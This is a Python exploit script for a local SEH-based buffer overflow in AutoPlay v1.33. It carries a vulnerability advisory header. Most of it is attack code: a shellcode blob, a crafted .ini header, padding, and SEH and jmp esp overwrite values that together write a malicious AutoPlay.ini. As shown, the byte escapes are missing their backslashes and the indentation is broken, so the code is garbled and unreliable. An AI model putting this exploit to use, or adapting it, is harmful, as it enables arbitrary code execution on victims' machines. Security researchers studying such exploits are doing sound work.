#!/usr/bin/python
#
#
# AutoPlay v1.33 (autoplay.ini) Local Buffer Overflow Exploit (SEH)
#
#
# Vendor: Naugher Software
# Product web page: http://www.naughter.com
# Affected version: 1.33
#
# Summary: AutoPlay is a shareware application used for making
# autorun.ini files that can be edited and stored to compact disks.
#
# Desc: The program suffers from a buffer overflow vulnerability
# when openinng autorun file (.ini), as a result of adding extra
# bytes to parts of the edited file, giving the atackers the
# possibility for an arbitrary code execution on the affected
# system. Also the buffer overflow vulnerability allows the
# atacker to bypass Structured Exception Handling (SEH)
# protection mechanism.
#
# Tested on: Microsoft Windows 7 Ultimate
#
# Vulnerability discovered by: badc0re (Dame Jovanoski)
#
#
# Advisory ID: ZSL-2011-4994
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2011-4994.php
#
#
# 13.02.2011
#


from struct import *
import time
f=open('AutoPlay.ini','w')

shell=('x29xc9x83xe9xdexd9xeexd9x74x24xf4x5bx81x73x13x61'
'x28x38x56x83xebxfcxe2xf4x9dxc0x7cx56x61x28xb3x13'
'x5dxa3x44x53x19x29xd7xddx2ex30xb3x09x41x29xd3x1f'
'xeax1cxb3x57x8fx19xf8xcfxcdxacxf8x22x66xe9xf2x5b'
'x60xeaxd3xa2x5ax7cx1cx52x14xcdxb3x09x45x29xd3x30'
'xeax24x73xddx3ex34x39xbdxeax34xb3x57x8axa1x64x72'
'x65xebx09x96x05xa3x78x66xe4xe8x40x5axeax68x34xdd'
'x11x34x95xddx09x20xd3x5fxeaxa8x88x56x61x28xb3x3e'
'x5dx77x09xa0x01x7exb1xaexe2xe8x43x06x09xd8xb2x52'
'x3ex40xa0xa8xebx26x6fxa9x86x4bx59x3ax02x28x38x56'); 

head=('x5bx47x65x6ex65x72x61x6cx5dx0dx0ax54x69x74x6cx65'
'x3dx41x20x73x61x6dx70x6cx65x20x6fx66x20x77x68x61'
'x74x20x41x75x74x6fx50x6cx61x79x20x63x61x6ex20x64'
'x6fx21x0dx0ax49x63x6fx6ex3dx2ex5cx61x75x74x6fx70'
'x6cx61x79x2ex69x63x6fx0dx0ax53x74x61x72x74x75x70'
'x53x6fx75x6ex64x3dx2ex5cx64x72x75x6dx72x6fx6cx6c'
'x2ex77x61x76x0dx0ax45x78x69x74x53x6fx75x6ex64x3d'
'x2ex5cx65x78x70x6cx6fx64x65x2ex77x61x76x0dx0ax4e'
'x75x6dx62x65x72x4fx66x42x75x74x74x6fx6ex73x3dx37'
'x0dx0ax42x61x63x6bx67x72x6fx75x6ex64x42x69x74x6d'
'x61x70x3dx2ex5cx73x70x6cx61x73x68x2ex6ax70x67x0d'
'x0ax4ex75x6dx62x65x72x4fx66x43x6fx6dx62x6fx73x3d'
'x31x0dx0ax0dx0ax5bx42x75x74x74x6fx6ex31x5dx0dx0a'
'x43x6fx6dx6dx61x6ex64x54x79x70x65x3dx31x0dx0ax43'
'x6fx6dx6dx61x6ex64x3dx65x78x70x6cx6fx72x65x72x2e'
'x65x78x65x0dx0ax46x6cx79x62x79x53x6fx75x6ex64x3d'
'x2ex5cx68x6fx76x65x72x73x65x6cx2ex77x61x76x0dx0a'
'x4cx65x66x74x3dx38x33x0dx0ax54x6fx70x3dx31x33x0d'
'x0ax54x65x78x74x43x6fx6cx6fx72x3dx32x35x35x2cx30'
'x2cx30x0dx0ax48x69x67x68x6cx69x67x68x74x43x6fx6c'
'x6fx72x3dx32x35x35x2cx32x35x35x2cx30x0dx0ax43x61'
'x70x74x69x6fx6ex3dx52x75x6ex20x57x69x6ex64x6fx77'
'x73x20x45x78x70x6cx6fx72x65x72x0dx0ax46x6fx6ex74'
'x53x69x7ax65x3dx32x34x0dx0ax46x6fx6ex74x4ex61x6d'
'x65x3d')

junk='x41'*32
junk1='x41'*92
nseh='xebx06x90x90'
seh='x62xcex86x7c' # pop pop ret
esp='x7bx46x86x7c' # jmp esp
try:
f.write(head+junk+esp+junk1+nseh+seh+shell)
f.close()
print('File created')
except:
print('File cannot be created')